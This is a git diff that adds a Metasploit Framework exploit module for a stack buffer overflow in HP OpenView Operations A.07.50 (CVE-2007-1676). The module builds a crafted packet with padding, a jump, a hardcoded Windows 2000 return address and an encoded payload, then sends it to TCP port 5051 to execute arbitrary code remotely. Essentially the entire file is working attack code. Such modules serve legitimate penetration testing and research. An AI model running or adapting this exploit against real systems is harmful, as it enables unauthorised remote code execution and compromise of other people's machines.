diff --git a/modules/exploits/windows/misc/hp_ovtrace.rb b/modules/exploits/windows/misc/hp_ovtrace.rb new file mode 100644 index 0000000000..5464691579 --- /dev/null +++ b/modules/exploits/windows/misc/hp_ovtrace.rb @@ -0,0 +1,76 @@ +## +# $Id: hp_ovtrace.rb 4886 2007-05-07 04:48:45Z hdm $ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + + +require 'msf/core' + +module Msf + +class Exploits::Windows::Misc::Hp_Ovtrace < Msf::Exploit::Remote + + include Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP OpenView Operations OVTrace Buffer Overflow', + 'Description' => %q{ + This module exploits a stack overflow in HP OpenView Operations version A.07.50. + By sending a specially crafted packet, a remote attacker may be able to execute arbitrary code. + }, + 'Author' => 'MC', + 'Version' => '$Revision$', + 'References' => + [ + [ 'CVE', '2007-1676' ], + [ 'BID', '25255' ], + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + }, + 'Payload' => + { + 'Space' => 800, + 'BadChars' => "\x0a\x0d\x00", + 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Windows 2000 Advanced Server All English', { 'Ret' => 0x75022ac4 } ], + ], + 'Privileged' => true, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 9 2007')) + + register_options([Opt::RPORT(5051)], self.class) + + end + + def exploit + connect + + sploit = "\x0f\x00\x00\x06\x00" + rand_text_english(62) + sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + sploit << [target.ret].pack('V') + payload.encoded + sploit << rand_text_english(2024) + + print_status("Trying target #{target.name}...") + sock.put(sploit) + + sleep(3) # =( + + handler + disconnect + end + +end +end